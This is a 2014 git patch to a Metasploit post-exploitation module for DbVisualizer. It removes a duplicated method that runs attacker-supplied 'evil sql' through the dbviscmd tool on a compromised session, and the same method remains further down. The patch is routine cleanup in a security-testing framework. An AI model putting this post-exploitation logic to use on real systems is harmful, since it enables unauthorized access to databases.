From 52bdc5364c6afcd13bc0b02c28c1a5ef6993c6a8 Mon Sep 17 00:00:00 2001 From: David Bloom Date: Wed, 16 Jul 2014 18:52:27 +0200 Subject: [PATCH] Update dbvis_query.rb --- modules/post/multi/manage/dbvis_query.rb | 27 ------------------------ 1 file changed, 27 deletions(-) diff --git a/modules/post/multi/manage/dbvis_query.rb b/modules/post/multi/manage/dbvis_query.rb index cf19243d77..949eb5ad07 100644 --- a/modules/post/multi/manage/dbvis_query.rb +++ b/modules/post/multi/manage/dbvis_query.rb @@ -177,33 +177,6 @@ class Metasploit3 < Msf::Post return dbvis end - - # Query execution method - def dbvis_query(dbvis,sql) - error =false - resp='' - if file?(dbvis)==true - f = session.fs.file.stat(dbvis) - if f.uid == Process.euid or Process.groups.include?f.gid - print_status("Trying to execute evil sql, it can take time ...") - args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\"" - dbvis ="\"#{dbvis}\"" - cmd = "#{dbvis} #{args}" - resp = cmd_exec(cmd) - vprint_line("") - vprint_status("#{resp}") - if resp =~ /denied|failed/i - error = true - end - else - print_error("User doesn't have enough rights to execute dbviscmd, aborting") - end - else - print_error("#{dbvis} is not a file") - end - return error - end - # Query execution method def dbvis_query(dbvis,sql) error =false